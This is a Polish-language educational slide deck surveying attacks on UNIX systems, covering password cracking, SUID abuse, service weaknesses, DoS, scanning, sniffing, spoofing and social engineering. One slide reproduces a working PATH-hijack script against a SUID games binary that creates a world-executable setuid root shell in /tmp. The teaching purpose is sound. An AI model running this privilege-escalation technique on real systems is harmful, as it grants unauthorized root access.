250 likes | 375 Views
Ataki na system UNIX. Część pierwsza. Kto atakuje?. Hakers (Hakerzy) Spies (Szpiedzy) Terrorists (Terroryści) Corporate raiders (szpiedzy przemysłowi) Professional criminals (przestępcy) Vandals (wandale) Voyeur (turyści). Cel ataku. Zdobycie jakiegokolwiek konta
E N D
Ataki na system UNIX Część pierwsza
Kto atakuje? • Hakers (Hakerzy) • Spies (Szpiedzy) • Terrorists (Terroryści) • Corporate raiders (szpiedzy przemysłowi) • Professional criminals (przestępcy) • Vandals (wandale) • Voyeur (turyści)
Cel ataku • Zdobycie jakiegokolwiek konta • Zdobycie konta uprzywilejowanego użytkownika (np. administratora) • Uzyskanie informacji na temat użytkowników systemu • Uzyskanie informacji na temat usług świadczonych przez system • Zablokowanie pojedynczej usługi lub całego systemu
Rodzaje ataków • Ataki na hasło • Ataki typu SUID • Szkodliwy kod • Dziury w oprogramowaniu • Odmowa usługi (Denial of Service) • Skanowanie (scanning) • Węszenie (sniffing) • Podszywanie (spoofing) • Socjotechnika
Ataki na hasło • Aby przeprowadzić atak na hasło musimy najpierw zdobyć plik zawierający zakodowane hasła • Dawniej hasła użytkowników były przechowywane w pliku /etc/passwd, który musi mieć ustawione prawo odczytu dla wszystkich • Teraz hasła są na ogół zabezpieczone w innym pliku, który może czytać jedynie administrator. Najczęściej jest to plik /etc/shadow • Aby zdobyć ten plik można skorzystać z niektórych metod opisanych dalej
Ataki na hasło • Haseł użytkowników nie da się zdekodować. Kiedy użytkownik loguje się do systemu to wpisane przez niego hasło jest kodowane i porównywane z hasłem zakodowanym w pliku. • Łamiąc hasło musimy postępować podobnie. „Zgadujemy” hasło, kodujemy je i porównujemy z tym zapisanym w pliku. • „Zgadywać” można metodą brute-force (praktycznie nie stosowana) lub metodą słownikową (wymaga dobrego słownika) • Program Crack
Atak typu SUID • Programy, które maja ustawiony bit SUID (Set User ID) wykonywane są na uprawnieniach swojego właściciela. Np. jeżeli właścicielem pliku jest root (administrator) to program z bitem SUID będzie miał dostęp do całego systemu. • Wykorzystanie takiego programu polega z reguły na zmuszeniu go do wykonania pewnych poleceń za nas. Zostaną wtedy wykonane z uprawnieniami właściciela danego programu.
Ataki typu SUID • Jest kilka możliwości zmuszenia programu do wykonania za nas poleceń • Podmiana pliku wykonywanego przez program • Zmiana zmiennych środowiskowych (np. PATH) • Zmiana znaku separatora ze spacji na „/” • Jak więc widać program, który może posłużyć do ataku na system wcale nie musi być związany z pełnieniem w tym systemie ważnych funkcji. Dobrym przykładem jest program /usr/lib/games/abuse/abuse.console, który w systemie Linux Red Hat 2.1 z zainstalowanym pakietem games miał ustawiony bit SUID.
Ataki typu SUID • Oto fragment skryptu napisanego przez Davida Meltzera: cd /tmp cat << _EOF_ > /tmp/undrv #!/bin/sh /bin/cp /bin/sh /tmp/abuse /bin/chmod 4777 /tmp/abuse _EOF_ chmod +x /tmp/undrv PATH=/tmp /usr/lib/games/abuse/abuse.console /bin/rm /tmp/undrv
Szkodliwy kod • Do szkodliwego kodu zaliczamy takie programy, wewnątrz których dopisane zostały procedury, o których użytkownik nie ma pojęcia, i których działanie jest niepożądane • Wirusy oraz konie trojańskie również należą do tej kategorii • Konie trojańskie często instalują (dopisują) tzw. backdoor’y, które również należą do szkodliwego kodu.
Dziury w oprogramowaniu • Praktycznie wszystkie dziury systemów UNIX to tak naprawdę dziury ich oprogramowania, ponieważ sam system był projektowany jedynie jako środowisko do uruchamiania programów. • Do typowych usług większości systemów sieciowych należą: • TELNET • FINGER • FTP • SMTP (sendmail) • Usługi r* • NIS (yellow pages)
TELNET • Usługa ta może również posłużyć do przeprowadzenia ataku na dany system • Opcja ENVIRON pozwala na przesyłanie zmiennych środowiskowych z jednego systemu na drugi. Niektóre zmienne środowiskowe muszą być przesyłane, jednak można przesłać inne zmienne, które pozwolą na załadowanie dowolnych bibliotek libc co może spowodować przejęcie uprawnień administratora
TELNET • We wczesnych dystrybucjach można było wykonać zrzut pamięci zawierający hasła • Usługa TELNET jest usługą nie kodującą przesyłanych danych, tak więc nie zapewnia prywatności. Dane te mogą zostać przechwycone (podobnie z usługą POP3) • Niektóre wersje tej usługi mogą również posłużyć do sprawdzenia jakie nazwy użytkowników są w systemie używane.
FINGER • Demon usługi FINGER udziela informacji o określonych użytkownikach. Informacjami tymi mogą być • nazwa użytkownika • prawdziwe nazwisko użytkownika • powłoka • katalog • numer telefonu • host, z którego ostatnio miało miejsce logowanie • Interesujące informacje można uzyskać wysyłają zapytanie FINGER ze znakami „@”, „0”, „” oraz typowymi nazwami użytkowników root, bin, ftp, itp..
FTP • Usługa ta podobnie do usługi TELNET nie jest kodowana (przesyłane hasło również nie jest kodowane) • Są różne możliwości wykorzystania tej usługi do przeprowadzenia ataku • Atak „skokowy” • SITE EXEC • Przejęcie uprawnień administratora (źle ustawione prawa dostępu)
SMTP - sendmail • Zazwyczaj sendmail działa z uprawnieniami administratora, a jego konfiguracja jest dość trudna więc można wykorzystać błędy konfiguracji administratora • Typowe ataki • Przepełnienie bufora MIME • Przepełnienie bufora HELO • hardlink między /etc/passwd i /var/tmp/dead.letter • Wysyłanie anonimowej poczty i spamu • DoS – przetwarzanie nagłówków • EXPN i VRFY
Usługi r* • Usługi te są już dzisiaj bardzo rzadko używane. Należą do nich rsh, rlogin, rexec, rwho i inne. • Warto o nich wspomnieć, ponieważ ich autoryzacja polega jedynie na odpytaniu danego hosta z nazwy użytkownika i hasła tylko raz. Jeżeli dany host łączy się ponownie to usługa jest mu automatycznie udostępniana. • Podobny system autoryzacji można wykorzystać podszywając się pod zaufanego hosta (tzw. spoofing).
NIS (yellow pages) • System ten umożliwia komputerom wchodzącym w skład danej sieci korzystać ze wspólnej bazy danych dotyczących m.in. kont użytkowników. • Jeżeli uda się odgadnąć nazwę domeny NIS danego hosta, to będziemy mieli dostęp do wszystkich danych o hasłach (lokalnych i globalnych)
Denial of Service • Atak ma na celu spowolnienie lub zablokowanie pojedynczej usługi albo nawet całego systemu. • Do czego może służyć taki atak • wymuszony reset systemu • wyrzucenie hosta z sieci w celu podszycia się pod niego • wyrzucenie hosta z sieci w celu wskoczenia na jego miejsce (hijacking)
Skanowanie (scanning) • Wyróżniamy 2 rodzaje skanowania • systemowe • sieciowe • Skanery systemowe są to programy, które uruchomione w danym systemie wyszukują jego słabe punkty. Po przetestowaniu systemu podają on listę ataków na jakie system ten jest podatny. Oczywiście długość tej listy zależy od listy ataków jakie „zna” dany skaner.
Skanowanie (scanning) • Skanery sieciowe to programy, które „przeglądają” porty skanowanego hosta. • Różne skanery mogą wyświetlać różne informacje • które porty są otwarte, a które zamknięte • jakie usługi znajdują się na jakich portach • na podstawie odpowiedzi hosta mogą ustalić jaki system jest na nim zainstalowany • Nmap (Network Mapper)
Węszenie (sniffing) • Atak ten należy do ataków pasywnych. Polega on na przeglądaniu całego ruchu w lokalnej sieci TCP/IP • Pakiety adresowane do konkretnego hosta są tak naprawdę wysyłane do wszystkich hostów w danej sieci. Host, który nie jest adresatem danego pakietu odrzuca go tylko „z czystej grzeczności”. Można tak skonfigurować system, aby przyjmował wszystkie pakiety w sieci.
Podszywanie (spoofing) • Atak ten polega na podawaniu się jednego hosta za inny. • Wyróżnia się kilka rodzajów podszywania • IP – tylko niektóre systemy z niektórymi usługami (RPC,system X, usługi r* oraz inne wykorzystujące autoryzację IP), wiąże się to z przewidywaniem numerów kolejnych • ARP (Address Resolution Protocol) – pamięc podręczna ARP zawiera tłumaczenia adresów IP na adresy sprzętowe • DNS – polega na włamaniu do serwera DNS (np. BIND) i zmianie tablic mapowania nazw hostów na adresy IP
Przepływ informacji w sieci przepływ niezakłócony przerwanie przechwycenie modyfikacja podrobienie
Socjotechnika • „Socjotechnika to wywieranie wpływu na ludzi i stosowanie perswazji w celu oszukania ich tak, aby uwierzyli, iż socjotechnik jest osoba o sugerowanej przez siebie, a stworzonej na potrzeby manipulacji, tożsamości. Dzięki temu socjotechnik jest w stanie wykorzystywać swoich rozmówców, przy dodatkowym (lub nie) użyciu środków technologicznych, do zdobycia poszukiwanych informacji” Kevin Mitnick „Sztuka podstępu” • „Tylko dwie rzeczy są nieskończone: wszechświat i ludzka głupota, chociaż co do pierwszego nie mam pewności” Albert Einstein